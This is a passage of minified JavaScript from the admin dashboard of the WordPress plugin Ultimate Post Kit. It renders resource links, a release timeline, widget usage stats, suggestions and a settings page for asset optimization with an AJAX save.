tutorials","ultimate-post-kit"),icon:$e,accent:"blue",url:ye.docsUrl},{title:(0,_e.__)("Video tutorials","ultimate-post-kit"),sub:(0,_e.__)("Learn on YouTube","ultimate-post-kit"),icon:ut,accent:"rose",url:ye.videosUrl},{title:(0,_e.__)("Support","ultimate-post-kit"),sub:(0,_e.__)("Get help from the team","ultimate-post-kit"),icon:it,accent:"violet",url:ye.supportUrl},{title:(0,_e.__)("Request a feature","ultimate-post-kit"),sub:(0,_e.__)("Tell us what to build next","ultimate-post-kit"),icon:lt,accent:"amber",url:ye.featureUrl},{title:(0,_e.__)("Setup wizard","ultimate-post-kit"),sub:(0,_e.__)("Guided configuration","ultimate-post-kit"),icon:ot,accent:"green",url:ye.setupWizardUrl,sameTab:!0}].filter(e=>!!e.url);return(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-5"},(0,e.createElement)("div",{className:"text-[17px] font-extrabold text-[#0f1115] dark:text-ink-text mb-[14px]"},(0,_e.__)("Resources & help","ultimate-post-kit")),(0,e.createElement)("div",{className:"flex flex-col gap-[9px]"},t.map(t=>(0,e.createElement)("a",{key:t.title,href:t.url,target:t.sameTab?void 0:"_blank",rel:t.sameTab?void 0:"noreferrer",className:"group flex items-center gap-3 p-[11px] border border-[#eef0f3] dark:border-ink-border rounded-[13px] cursor-pointer transition-all duration-150 hover:border-brand hover:bg-[#f3fcf6] dark:hover:bg-[#0f2a1c]"},(0,e.createElement)(Et,{icon:t.icon,accent:t.accent,size:"md"}),(0,e.createElement)("div",{className:"flex-1 min-w-0"},(0,e.createElement)("div",{className:"text-[13px] font-bold text-[#27272a] dark:text-ink-text transition-colors group-hover:text-brand"},t.title),(0,e.createElement)("div",{className:"text-[11.5px] text-[#6d6d74] dark:text-ink-muted mt-px"},t.sub)),t.sameTab?(0,e.createElement)(Ge,{size:16,className:"text-[#c4c4cc] flex-none transition-all duration-150 group-hover:text-brand group-hover:translate-x-[3px]"}):(0,e.createElement)(Be,{size:15,className:"text-[#c4c4cc] flex-none transition-colors duration-150 group-hover:text-brand"})))))}const zt=[{dot:"#22a550",ring:"#ecfdf3"},{dot:"#00a85c",ring:"#eafaf1"},{dot:"#8b5cf6",ring:"#f3f0ff"},{dot:"#f59e0b",ring:"#fff7ed"},{dot:"#14b8a6",ring:"#f0fdfa"}],Pt={added:"text-[#15803d] bg-[#ecfdf3] dark:bg-[#0f2318] dark:text-[#4ade80]",fixed:"text-[#316dc0] dark:text-[#7eb0f7] bg-[#eff6ff] dark:bg-[#15233a]",updated:"text-[#b45309] bg-[#fff7ed] dark:bg-[#2a1c0e] dark:text-[#fdba74]",removed:"text-[#be123c] bg-[#fff1f2] dark:bg-[#2a0e14] dark:text-[#fda4af]"},Dt={
/* translators: %d: number of changelog entries */
added:e=>(0,_e.sprintf)((0,_e.__)("%d added","ultimate-post-kit"),e),
/* translators: %d: number of changelog entries */
fixed:e=>(0,_e.sprintf)((0,_e.__)("%d fixed","ultimate-post-kit"),e),
/* translators: %d: number of changelog entries */
updated:e=>(0,_e.sprintf)((0,_e.__)("%d updated","ultimate-post-kit"),e),
/* translators: %d: number of changelog entries */
removed:e=>(0,_e.sprintf)((0,_e.__)("%d removed","ultimate-post-kit"),e)};function Tt(){const t=Array.isArray(ye.releases)?ye.releases:[];return t.length?(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-5"},(0,e.createElement)("div",{className:"flex items-center justify-between mb-[14px]"},(0,e.createElement)("div",{className:"text-[17px] font-extrabold text-[#0f1115] dark:text-ink-text"},(0,_e.__)("Recent activity","ultimate-post-kit")),(0,e.createElement)("a",{href:ye.whatsNewUrl,target:"_blank",rel:"noreferrer",className:"text-[12.5px] font-semibold text-brand"},(0,_e.__)("View all","ultimate-post-kit"))),(0,e.createElement)("div",{className:"flex flex-col"},t.map((a,n)=>{const r=zt[n%zt.length],l=n===t.length-1;return(0,e.createElement)("div",{key:a.version,className:"flex gap-[11px]"},(0,e.createElement)("span",{className:"flex flex-col items-center flex-none"},(0,e.createElement)("span",{className:"w-[9px] h-[9px] rounded-full flex-none mt-[5px]",style:{background:r.dot,boxShadow:`0 0 0 3px ${r.ring}`}}),l?null:(0,e.createElement)("span",{className:"w-px flex-1 mt-[6px] bg-[#ececf0] dark:bg-ink-border"})),(0,e.createElement)("div",{className:"min-w-0 flex-1 "+(l?"":"pb-4")},(0,e.createElement)("div",{className:"flex items-center gap-2 flex-wrap"},(0,e.createElement)("span",{className:"text-[13px] font-extrabold text-[#18181b] dark:text-ink-text"},"v",a.version),a.is_current?(0,e.createElement)("span",{className:"text-[9.5px] font-extrabold tracking-[.05em] uppercase text-white bg-gradient-brand py-[2px] px-[7px] rounded-full"},(0,_e.__)("Current","ultimate-post-kit")):null,(0,e.createElement)("span",{className:"text-[11px] text-[#6d6d74] dark:text-ink-muted font-medium ml-auto"},a.date)),a.highlights&&a.highlights[0]?(0,e.createElement)("div",{className:"text-[12px] text-[#6c6c75] dark:text-ink-muted leading-[1.45] mt-[3px] overflow-hidden [display:-webkit-box] [-webkit-line-clamp:2] [-webkit-box-orient:vertical]"},a.highlights[0]):null,(0,e.createElement)("div",{className:"flex items-center gap-[5px] flex-wrap mt-[6px]"},Object.entries(a.sections||{}).map(([t,a])=>Dt[t]?(0,e.createElement)("span",{key:t,className:`text-[10.5px] font-bold py-[2px] px-[8px] rounded-full ${Pt[t]}`},Dt[t](a)):null))))}))):null}function At(){if(ye.whiteLabel)return null;const t=!ye.isPro;return(0,e.createElement)("div",{className:"rounded-card p-5 relative overflow-hidden text-white [background:linear-gradient(135deg,#0a1912,#0f3a26)]"},(0,e.createElement)("div",{className:"absolute inset-0 pointer-events-none [background:radial-gradient(circle_at_85%_0%,rgba(8,201,114,.3),transparent_55%)]"}),(0,e.createElement)("div",{className:"relative"},(0,e.createElement)("div",{className:"flex items-center gap-2 text-[11px] font-bold tracking-[.12em] uppercase text-[#86efac]"},(0,e.createElement)(lt,{size:14}),t?(0,_e.__)("Unlock premium features","ultimate-post-kit"):(0,_e.sprintf)(/* translators: %s: plugin version */ /* translators: %s: plugin version */
(0,_e.__)("New in %s","ultimate-post-kit"),ye.version)),(0,e.createElement)("div",{className:"text-[17px] font-bold mt-[10px] tracking-[-.01em]"},t?(0,_e.__)("Create your sleek website with Ultimate Post Kit Pro","ultimate-post-kit"):(0,_e.__)("Fresh widgets & fixes in the latest release","ultimate-post-kit")),(0,e.createElement)("p",{className:"text-[12.5px] text-white/70 mt-2 mb-4 leading-[1.55]"},t?(0,_e.__)("Every Pro widget, Template Builder, Dynamic Content, custom code and white label.","ultimate-post-kit"):(0,_e.__)("See everything added, fixed and improved in this update.","ultimate-post-kit")),t?(0,e.createElement)(ge,{to:"/get-pro",className:"inline-block bg-gradient-brand text-white py-2 px-[15px] rounded-full text-[12.5px] font-bold shadow-glow"},(0,_e.__)("See what’s in Pro","ultimate-post-kit")):(0,e.createElement)("a",{href:ye.whatsNewUrl,target:"_blank",rel:"noreferrer",className:"inline-block bg-white/[.12] border border-white/[.18] text-white py-2 px-[15px] rounded-full text-[12.5px] font-semibold transition-colors hover:bg-white/20"},(0,_e.__)("View changelog","ultimate-post-kit"))))}const Ut=["#00a85c","#60df54","#8b5cf6","#22a550","#14b8a6"];function Rt({widgets:t}){if(!t.length)return null;const a=t[0].usage_count||1;return(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-5"},(0,e.createElement)("div",{className:"flex items-center justify-between mb-[14px]"},(0,e.createElement)("div",{className:"text-[17px] font-extrabold text-[#0f1115] dark:text-ink-text"},(0,_e.__)("Most used widgets","ultimate-post-kit")),(0,e.createElement)(ge,{to:"/widgets",className:"text-[12.5px] font-semibold text-brand"},(0,_e.__)("Manage","ultimate-post-kit"))),(0,e.createElement)("div",{className:"flex flex-col gap-[14px]"},t.map((t,n)=>(0,e.createElement)("div",{key:t.name},(0,e.createElement)("div",{className:"flex items-center justify-between text-[13px] font-semibold text-[#27272a] dark:text-ink-text"},t.label,(0,e.createElement)("span",{className:"text-[12px] font-bold text-[#6c6c75] dark:text-ink-muted"},t.usage_count)),(0,e.createElement)("div",{className:"h-[7px] rounded-full bg-[#eef0f3] dark:bg-ink-subtle mt-[6px] overflow-hidden"},(0,e.createElement)("div",{className:"h-full rounded-full",style:{width:`${Math.max(6,Math.round(t.usage_count/a*100))}%`,background:Ut[n%Ut.length]}}))))))}function Ot(){const t=J(),a=we("ultimate_post_kit_active_modules"),n=a.some(e=>e.has_usage)?a.filter(e=>e.enabled&&!e.is_locked&&!1!==e.plugin_active&&!(e.usage_count>0)).length:0,r=ve.ultimate_post_kit_api_settings,l=r?(r.groups||[]).filter(e=>{const t=e.fields.filter(e=>""!==String(r.stored[e]||"").trim()).length;return t>0&&t<e.fields.length}).length:0,i=!(!ye.assets||!ye.assets.enabled),o=[n>0&&{icon:He,accent:"blue",title:(0,_e.__)("Trim unused widgets","ultimate-post-kit"),text:(0,_e.sprintf)(/* translators: %d: unused widget count */ /* translators: %d: unused widget count */
(0,_e.__)("%d enabled widgets aren’t used on any page. Disabling them makes your pages lighter.","ultimate-post-kit"),n),cta:(0,_e.__)("Review widgets","ultimate-post-kit"),to:"/widgets"},!i&&{icon:Je,accent:"teal",title:(0,_e.__)("Optimize asset loading","ultimate-post-kit"),text:(0,_e.__)("Turn on Asset Optimization so each page loads its widgets’ CSS and JS as one file each.","ultimate-post-kit"),cta:(0,_e.__)("Open performance","ultimate-post-kit"),to:"/performance"},l>0&&{icon:ct,accent:"teal",title:(0,_e.__)("Finish your API keys","ultimate-post-kit"),text:(0,_e.sprintf)(/* translators: %d: number of integrations */ /* translators: %d: number of integrations */
(0,_e.__)("%d integrations have only some of their keys filled in, so their widgets can’t connect yet.","ultimate-post-kit"),l),cta:(0,_e.__)("Open API settings","ultimate-post-kit"),to:"/api-settings"}].filter(Boolean);return o.length?(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card p-5"},(0,e.createElement)("div",{className:"flex items-center justify-between mb-[14px]"},(0,e.createElement)("div",{className:"flex items-center gap-[9px]"},(0,e.createElement)("span",{className:"w-[30px] h-[30px] rounded-[9px] grid place-items-center [background:linear-gradient(135deg,#e8f9ef,#e3f6ff)] dark:[background:#12161c]"},(0,e.createElement)(lt,{size:17,className:"text-brand"})),(0,e.createElement)("span",{className:"text-[17px] font-extrabold text-[#0f1115] dark:text-ink-text"},(0,_e.__)("Suggestions","ultimate-post-kit"))),(0,e.createElement)("span",{className:"text-[10px] font-extrabold tracking-[.05em] text-brand bg-[#e8f9ef] dark:bg-[#0f2a1c] py-[3px] px-2 rounded-full"},(0,_e.sprintf)(/* translators: %d: suggestion count */ /* translators: %d: suggestion count */
(0,_e.__)("%d NEW","ultimate-post-kit"),o.length))),(0,e.createElement)("div",{className:"flex flex-col gap-[10px]"},o.map(a=>(0,e.createElement)("div",{key:a.title,className:"flex gap-[11px] p-3 border border-[#eef0f3] dark:border-ink-border rounded-[13px] bg-[#fbfbfd] dark:bg-ink-subtle transition-colors hover:border-[#bfeccf]"},(0,e.createElement)(Et,{icon:a.icon,accent:a.accent,size:"sm"}),(0,e.createElement)("div",{className:"flex-1 min-w-0"},(0,e.createElement)("div",{className:"text-[13px] font-semibold text-[#27272a] dark:text-ink-text"},a.title),(0,e.createElement)("div",{className:"text-[11.5px] text-[#6c6c75] dark:text-ink-muted mt-[2px] leading-[1.45]"},a.text),(0,e.createElement)("button",{type:"button",onClick:()=>t(a.to),className:"mt-2 inline-flex items-center gap-[5px] text-brand text-[11.5px] font-bold cursor-pointer"},a.cta,(0,e.createElement)(dt,{size:12,strokeWidth:2.4}))))))):null}async function $t(e,t){const a=new window.FormData;a.append("action","ultimate_post_kit_settings_save"),a.append("_wpnonce",ye.saveNonce||""),a.append("id",e);const n=ve[e]&&ve[e].stored||{},r=ve[e]&&ve[e].fields||[],l={...n};r.forEach(e=>{!e.is_locked&&!1!==e.plugin_active&&e.name in t&&(l[e.name]=t[e.name]?"on":"off")}),Object.keys(l).forEach(t=>{a.append(`${e}[${t}]`,l[t])});const i=await window.fetch(ye.ajaxUrl,{method:"POST",credentials:"same-origin",body:a});let o=null;try{o=await i.json()}catch(e){o=null}if(!i.ok||!o||!o.success)throw new Error((0,_e.__)("Settings could not be saved. Reload the page and try again.","ultimate-post-kit"));return ve[e]&&(ve[e].stored=l,ve[e].fields.forEach(e=>{e.enabled="on"===l[e.name]})),l}function Ft(e){const a=Array.isArray(e)?e.join(","):String(e),n=(0,t.useMemo)(()=>a.split(","),[a]),r=(0,t.useMemo)(()=>function(e){return e.flatMap(e=>(ve[e]&&ve[e].fields||[]).map(t=>{return{...t,section:e,key:(a=e,n=t.name,`${a}|${n}`)};var a,n}))}(n),[n]),[l,i]=(0,t.useState)(()=>function(e){const t={};return e.forEach(e=>{t[e.key]=!!e.enabled}),t}(r)),[o,s]=(0,t.useState)(l),[c,d]=(0,t.useState)(!1),[m,u]=(0,t.useState)(null),p=(0,t.useCallback)(e=>{s(t=>({...t,[e]:!t[e]}))},[]),x=(0,t.useCallback)((e,t)=>{s(a=>{const n={...a};return t.forEach(t=>{t.is_locked||(n[t.key]=e)}),n})},[]),b=(0,t.useMemo)(()=>Object.keys(o).some(e=>o[e]!==l[e]),[o,l]),f=(0,t.useMemo)(()=>r.filter(e=>!e.is_locked&&!1!==e.plugin_active),[r]),g=(0,t.useMemo)(()=>f.filter(e=>o[e.key]).length,[f,o]),k=(0,t.useCallback)(async()=>{d(!0),u(null);try{for(const e of n){const t=r.filter(t=>t.section===e);if(!t.some(e=>o[e.key]!==l[e.key]))continue;const a={};t.forEach(e=>{a[e.name]=!!o[e.key]}),await $t(e,a)}i(o)}catch(e){throw u(e),e}finally{d(!1)}},[n,r,o,l]),h=(0,t.useCallback)(()=>s(l),[l]);return{fields:r,switchable:f,saved:l,draft:o,toggle:p,setAll:x,isDirty:b,activeCount:g,save:k,reset:h,isSaving:c,error:m}}function Wt({title:t,subtitle:a,actions:n}){return(0,e.createElement)("div",{className:"flex items-end justify-between gap-4 flex-wrap mb-[22px]"},(0,e.createElement)("div",null,(0,e.createElement)("h1",{className:"text-[31px] leading-[1.15] font-extrabold tracking-[-.025em] text-[#0f1115] dark:text-ink-text"},t),a?(0,e.createElement)("p",{className:"text-[14.5px] text-[#6c6c75] dark:text-ink-muted mt-[6px]"},a):null),n?(0,e.createElement)("div",{className:"flex items-center gap-[10px]"},n):null)}const Yt={md:{track:"w-[46px] h-[26px]",knob:"w-[21px] h-[21px]",travel:"translate-x-[20px]"},sm:{track:"w-10 h-[23px]",knob:"w-[18px] h-[18px]",travel:"translate-x-[17px]"}};function Gt({checked:t=!1,onChange:a,size:n="md",disabled:r=!1,label:l,describedBy:i}){const o=Yt[n]||Yt.md;return(0,e.createElement)("button",{type:"button",role:"switch","aria-checked":t,"aria-label":l,"aria-describedby":i,disabled:r,onClick:()=>a&&a(!t),className:`relative ${o.track} rounded-full border-0 cursor-pointer p-0 flex-none transition-colors duration-[250ms] disabled:opacity-50 disabled:cursor-not-allowed ${t?"bg-brand":"bg-[#919194] dark:bg-[#60666f]"}`},(0,e.createElement)("span",{className:`absolute top-[2.5px] left-[2.5px] ${o.knob} rounded-full bg-white shadow-[0_1px_3px_rgba(0,0,0,.3)] transition-transform duration-[250ms] ease-upk ${t?o.travel:"translate-x-0"}`}))}const Bt={error:"bg-[#fff1f3] border-[#fbd5dc] text-[#9f1239] dark:bg-[#2b141a] dark:border-[#4a2430] dark:text-[#fda4af]",warning:"bg-[#fff7ed] border-[#fed7aa] text-[#9a3412] dark:bg-[#2a1c0e] dark:border-[#4a3419] dark:text-[#fdba74]",info:"bg-[#eff6ff] border-[#dbeafe] text-[#1e40af] dark:bg-[#15233a] dark:border-[#1e3a5f] dark:text-[#93c5fd]",success:"bg-[#ecfdf3] border-[#c6f0d4] text-[#15803d] dark:bg-[#0f2318] dark:border-[#1d4030] dark:text-[#4ade80]"};function Ht({tone:t="info",onDismiss:a,className:n="",children:r}){return(0,e.createElement)("div",{className:`flex items-start gap-3 border rounded-panel py-3 px-4 text-[13.5px] font-medium leading-relaxed ${Bt[t]||Bt.info} ${n}`},(0,e.createElement)(Xe,{size:17,className:"flex-none mt-px"}),(0,e.createElement)("div",{className:"flex-1 min-w-0"},r),a?(0,e.createElement)("button",{type:"button",onClick:a,"aria-label":(0,_e.__)("Dismiss","ultimate-post-kit"),className:"flex-none cursor-pointer opacity-60 hover:opacity-100"},(0,e.createElement)(Ye,{size:14})):null)}function Jt({visible:a=!1,saving:n=!1,onSave:r,onReset:l,message:i,saveLabel:o}){var s;return s=a,(0,t.useEffect)(()=>{if(!s)return;const e=()=>window.confirm((0,_e.__)("You have unsaved changes. Leave without saving?","ultimate-post-kit")),t=e=>{e.preventDefault(),e.returnValue=""},{history:a}=window,n=a.pushState;a.pushState=function(...t){if(e())return n.apply(this,t)};const r=t=>{const a=t.target.closest&&t.target.closest('a[href*="#/"]');if(!a||a.closest("#upk-admin-app"))return;const n=new URL(a.href,window.location.href);n.pathname===window.location.pathname&&n.search===window.location.search&&n.hash!==window.location.hash&&(e()||(t.preventDefault(),t.stopPropagation()))};return window.addEventListener("beforeunload",t),document.addEventListener("click",r,!0),()=>{window.removeEventListener("beforeunload",t),document.removeEventListener("click",r,!0),a.pushState=n}},[s]),a?(0,e.createElement)("div",{className:"sticky bottom-5 max-[900px]:bottom-[calc(84px+env(safe-area-inset-bottom))] mt-5 flex flex-wrap items-center justify-between gap-x-4 gap-y-3 bg-[#0f1115] text-white rounded-[14px] py-[14px] px-[18px] shadow-[0_18px_40px_-12px_rgba(0,0,0,.5)] z-30 animate-upk-fade-up"},(0,e.createElement)("div",{className:"flex items-center gap-[11px] text-[13.5px] font-semibold"},(0,e.createElement)("span",{className:"w-[9px] h-[9px] rounded-full bg-[#f59e0b] shadow-[0_0_0_4px_rgba(245,158,11,.25)]"}),i||(0,_e.__)("You have unsaved changes","ultimate-post-kit")),(0,e.createElement)("div",{className:"flex gap-[10px]"},l?(0,e.createElement)("button",{type:"button",onClick:l,disabled:n,className:"bg-[rgba(255,255,255,.1)] border border-[rgba(255,255,255,.18)] text-white py-[10px] px-[18px] rounded-full text-[13px] font-bold cursor-pointer disabled:opacity-50"},(0,_e.__)("Reset","ultimate-post-kit")):null,(0,e.createElement)("button",{type:"button",onClick:r,disabled:n,className:"flex items-center gap-[7px] bg-gradient-brand text-white py-[10px] px-[22px] rounded-full text-[13px] font-extrabold cursor-pointer shadow-[0_5px_16px_rgba(8,201,114,.4)] disabled:opacity-60"},(0,e.createElement)(We,{size:14,strokeWidth:2.4}),n?(0,_e.__)("Saving…","ultimate-post-kit"):o||(0,_e.__)("Save changes","ultimate-post-kit")))):null}function Qt({title:t,description:a,action:n}){return(0,e.createElement)("div",{className:"text-center py-[60px] px-5"},(0,e.createElement)("div",{className:"text-[15px] font-bold text-[#6c6c75] dark:text-ink-muted"},t),a?(0,e.createElement)("p",{className:"text-[13px] text-[#6d6d74] dark:text-ink-muted mt-2"},a):null,n?(0,e.createElement)("div",{className:"mt-3 flex justify-center"},n):null)}const Zt=(0,t.createContext)(()=>{});function Vt(){return(0,t.useContext)(Zt)}function Kt({children:a}){const[n,r]=(0,t.useState)([]),l=(0,t.useRef)(0),i=(0,t.useCallback)((e,{tone:t="success"}={})=>{l.current+=1;const a=l.current;r(n=>[...n,{id:a,message:e,tone:t}]),window.setTimeout(()=>{r(e=>e.filter(e=>e.id!==a))},3200)},[]);return(0,e.createElement)(Zt.Provider,{value:i},a,(0,e.createElement)("div",{className:"fixed bottom-6 right-6 z-[60] flex flex-col items-end gap-2",role:"status","aria-live":"polite"},n.map(t=>(0,e.createElement)("div",{key:t.id,className:"flex items-center gap-3 bg-[#18181b] text-white py-[13px] px-[18px] rounded-xl shadow-[0_18px_40px_-12px_rgba(0,0,0,.5)] text-[13.5px] font-medium animate-upk-pop"},(0,e.createElement)("span",{className:"w-6 h-6 rounded-full grid place-items-center flex-none "+("error"===t.tone?"bg-[#f43f5e]":"bg-gradient-brand")},"error"===t.tone?(0,e.createElement)(Xe,{size:13,strokeWidth:2.4}):(0,e.createElement)(We,{size:14})),t.message))))}const Xt="asset-manager";function qt({label:t,children:a}){return(0,e.createElement)("div",{className:"py-[14px] px-6 max-[640px]:px-5"},(0,e.createElement)("div",{className:"text-[10.5px] font-extrabold tracking-[.1em] uppercase text-[#6d6d74] dark:text-ink-muted"},t),a)}function ea(){const{fields:t,saved:a,draft:n,toggle:r,isDirty:l,save:i,reset:o,isSaving:s,error:c}=Ft("ultimate_post_kit_other_settings"),d=Vt(),m=t.find(e=>e.name===Xt),u=ye.assets||{},p=m?!!a[m.key]:!!u.enabled;return(0,e.createElement)("div",null,(0,e.createElement)(Wt,{title:(0,_e.__)("Asset Optimization","ultimate-post-kit"),subtitle:(0,_e.__)("Combine each page’s widget CSS and JS into files stored in your uploads folder.","ultimate-post-kit")}),m?(0,e.createElement)("div",{className:"flex flex-col gap-4"},c?(0,e.createElement)(Ht,{tone:"error"},c.message):null,(0,e.createElement)("div",{className:"bg-white dark:bg-ink-card border border-[#e9e9ed] dark:border-ink-border rounded-card overflow-hidden"},(0,e.createElement)("div",{className:"flex items-center gap-[18px] p-6 max-[640px]:p-5 flex-wrap"},(0,e.createElement)("span",{className:`w-[52px] h-[52px] rounded-[14px] grid place-items-center flex-none ${gt("teal")}`},(0,e.createElement)(He,{size:26})),(0,e.createElement)("div",{className:"flex-1 min-w-[220px]"},(0,e.createElement)("div",{className:"flex items-center gap-2 flex-wrap"},(0,e.createElement)("span",{className:"text-[16px] font-extrabold text-[#0f1115] dark:text-ink-text tracking-[-.01em]"},m.label),n[m.key]!==!!a[m.key]?(0,e.createElement)("span",{className:"text-[10px] font-extrabold uppercase tracking-[.05em] text-[#b45309] bg-[#fff7ed] dark:bg-[#2a1c0e] dark:text-[#fdba74] py-[2px] px-[8px] rounded-full"},(0,_e.__)("Edited","ultimate-post-kit")):null),(0,e.createElement)("p",{className:"text-[13px] text-[#6c6c75] dark:text-ink-muted mt-[5px] mb-0 leading-[1.55] max-w-[560px]"},m.tooltip||(0,_e.__)("Combine widget CSS and JS into single optimized files.","ultimate-post-kit"))),(0,e.createElement)(Gt,{checked:!!n[m.key],onChange:()=>r(m.key),label:m.label})),(0,e.createElement)("div",{className:"grid grid-cols-3 max-[900px]:grid-cols-1 border-t border-[#f1f1f4] dark:border-ink-border divide-x divide-[#f1f1f4] dark:divide-ink-border max-[900px]:divide-x-0 max-[900px]:divide-y bg-[#fafbfc] dark:bg-ink-subtle"},(0,e.createElement)(qt,{label:(0,_e.__)("Status","ultimate-post-kit")},(0,e.createElement)("div",{className:"flex items-center gap-[7px] mt-[6px] text-[13px] font-bold text-[#27272a] dark:text-ink-text"},(0,e.createElement)("span",{className:"w-2 h-2 rounded-full "+(p?"bg-[#22c55e] shadow-[0_0_0_3px_rgba(34,197,94,.2)]":"bg-[#d4d4d8]")}),p?(0,_e.__)("Enabled","ultimate-post-kit"):(0,_e.__)("Disabled","ultimate-post-kit"))),(0,e.createElement)(qt,{label:(0,_e.__)("Bundle version","ultimate-post-kit")},(0,e.createElement)("div",{className:"mt-[6px]"},u.version?(0,e.createElement)("span",{className:"font-mono text-[12.5px] text-[#52525b] dark:text-ink-muted bg-[#eef0f3] dark:bg-ink-card py-[3px] px-[9px] rounded-md"},u.version):(0,e.createElement)("span",{className:"text-[13px] font-semibold text-[#6d6d74] dark:text-ink-muted"},"—"))),(0,e.createElement)(qt,{label:(0,_e.__)("Auto-regenerate","ultimate-post-kit")},(0,e.createElement)("div",{className:"text-[12.5px] text-[#6c6c75] dark:text-ink-muted mt-[6px] leading-[1.5]"},(0,_e.__)("Combined files are rebuilt when a page’s widgets or the plugin version change, and cleared with Elementor’s Clear Files & Data.","ultimate-post-kit"))))),(0,e.createElement)(Jt,{visible:l,saving:s,onSave:async()=>{try{await i(),d((0,_e.__)("Performance settings saved.","ultimate-post-kit"))}catch(e){d(e.message,{tone:"error"})}},onReset:o})):(0,e.createElement)(Qt,{title:(0,_e.__)("Asset Optimization is not available.","ultimate-post-kit")}))}function ta(e,t){return t?Math.round(e/t*100):0}function aa(e){return(ye.panels||[]).some(t=>t.id===e)}function na(){const t=we("ultimate_post_kit_active_modules"),a=we("ultimate_post_kit_elementor_extend"),n=we("ultimate_post_kit_other_settings").filter(e=>e.name!==Xt),r=t.filter(e=>!e.is_locked&&!1!==e.plugin_active),l=a.filter(e=>e.enabled&&!e.is_locked).length,i=r.filter(e=>e.enabled).length,o=t.filter(e=>e.usage_count>0),s=n.filter(e=>e.enabled).length,c=t.some(e=>e.has_usage),d=Array.isArray(ye.system)?ye.system:[],m=d.filter(e=>e.pass).length,u=/* translators: 1: count, 2: total */ /* translators: 1: count, 2: total */(0,_e.__)("%1$d of %2$d","ultimate-post-kit"),p=ye.userName?(0,_e.sprintf)(/* translators: %s: user display name */ /* translators: %s: user display name */
(0,_e.__)("Welcome back, %s","ultimate-post-kit"),ye.userName):(0,_e.__)("Welcome back","ultimate-post-kit"),x=[{label:(0,_e.__)("Widgets enabled","ultimate-post-kit"),value:`${ta(i,r.length)}%`,percent:ta(i,r.length),sub:(0,_e.sprintf)(u,i,r.length),icon:Fe,accent:"rose",barColor:"#60df54"},c&&{label:(0,_e.__)("Widgets in use","ultimate-post-kit"),value:`${ta(o.length,t.length)}%`,percent:ta(o.length,t.length),sub:(0,_e.sprintf)(u,o.length,t.length),icon:He,accent:"green",barColor:"#22a550"},{label:(0,_e.__)("Features active","ultimate-post-kit"),value:`${ta(s,n.length)}%`,percent:ta(s,n.length),sub:(0,_e.sprintf)(u,s,n.length),icon:De,accent:"amber",barColor:"#f59e0b"},{label:(0,_e.__)("System checks passed","ultimate-post-kit"),value:`${ta(m,d.length)}%`,percent:ta(m,d.length),sub:(0,_e.sprintf)(u,m,d.length),icon:rt,accent:"blue",barColor:"#408efa"}].filter(Boolean),b=[{to:"/widgets",icon:Ie,accent:"rose",label:(0,_e.__)("Core widgets","ultimate-post-kit"),sub:(0,_e.sprintf)(/* translators: %d: widget count */ /* translators: %d: widget count */(0,_e.__)("Toggle %d widgets","ultimate-post-kit"),t.length)},a.length>0&&{to:"/extensions",icon:ze,accent:"woo",label:(0,_e.__)("Extensions","ultimate-post-kit"),sub:(0,_e.__)("Animations & more","ultimate-post-kit")},{to:"/features",icon:De,accent:"amber",label:(0,_e.__)("Features","ultimate-post-kit"),sub:(0,_e.__)("Live copy, duplicator…","ultimate-post-kit")},{to:"/api-settings",icon:ct,accent:"indigo",label:(0,_e.__)("API settings","ultimate-post-kit"),sub:(0,_e.__)("Mailchimp, Instagram","ultimate-post-kit")},aa("ultimate_post_kit_custom_code")&&{to:"/custom-code",icon:Ve,accent:"violet",label:(0,_e.__)("Custom code","ultimate-post-kit"),sub:(0,_e.__)("Inject CSS & JS","ultimate-post-kit")},aa("ultimate_post_kit_extra_options")&&{to:"/white-label",icon:Ae,accent:"teal",label:(0,_e.__)("White label","ultimate-post-kit"),sub:(0,_e.__)("Rebrand the plugin","ultimate-post-kit")},aa("ultimate_post_kit_license_settings")&&{to:"/license",icon:Te,accent:"green",label:(0,_e.__)("License","ultimate-post-kit"),sub:(0,_e.__)("Manage activation","ultimate-post-kit")},{to:"/system-status",icon:rt,accent:"blue",label:(0,_e.__)("System status","ultimate-post-kit"),sub:(0,_e.__)("Server checks","ultimate-post-kit")},{to:"/other-plugins",icon:Pe,accent:"sky",label:(0,_e.__)("Other plugins","ultimate-post-kit"),sub:(0,_e.__)("From BdThemes","ultimate-post-kit")},!ye.isPro&&{to:"/get-pro",icon:ot,accent:"green",label:(0,_e.__)("Get Pro","ultimate-post-kit"),sub:(0,_e.__)("Unlock every widget","ultimate-post-kit")}].filter(Boolean).slice(0,6),f=[...o].sort((e,t)=>t.usage_count-e.usage_count).slice(0,5);return(0,e.createElement)("div",null,(0,e.createElement)("div",{className:"flex items-end justify-between gap-4 flex-wrap mb-[22px]"},(0,e.createElement)("div",null,(0,e.createElement)("h1",{className:"text-[31px] leading-[1.15] font-extrabold tracking-[-.025em] text-[#0f1115] dark:text-ink-text"},p),(0,e.createElement)("p",{className:"text-[14.5px] text-[#6c6c75] dark:text-ink-muted mt-[6px]"},(0,_e.__)("Here’s what’s happening with your post widgets.","ultimate-post-kit"))),(0,e.createElement)("div",{className:"flex items-center gap-[10px]"},(0,e.createElement)("a",{href:ye.setupWizardUrl,className:"inline-flex items-center gap-[7px] rounded-full py-[10px] px-[15px] text-[13px] font-bold bg-white dark:bg-ink-card border border-[#e2e2e6] dark:border-[#2a313c] text-[#3f3f46] dark:text-[#cdd0d6] transition-all hover:border-brand hover:text-brand"},(0,e.createElement)(ot,{size:15}),(0,_e.__)("Setup wizard","ultimate-post-kit")),(0,e.createElement)("a",{href:ye.newPageUrl,className:"inline-flex items-center gap-[7px] rounded-full py-[10px] px-[15px] text-[13px] font-extrabold bg-gradient-brand text-white shadow-glow transition-all hover:-translate-y-px hover:shadow-glow-lg"},(0,e.createElement)(nt,{size:15}),(0,_e.__)("Create new page","ultimate-post-kit")))),(0,e.createElement)("div",{className:"grid grid-cols-4 max-[1024px]:grid-cols-2 max-[640px]:grid-cols-1 gap-4"},(0,e.createElement)(wt,{icon:Ie,accent:"rose",value:t.length,label:(0,_e.__)("Total widgets","ultimate-post-kit"),pill:c?(0,_e.sprintf)(/* translators: %d: used widget count */ /* translators: %d: used widget count */(0,_e.__)("%d 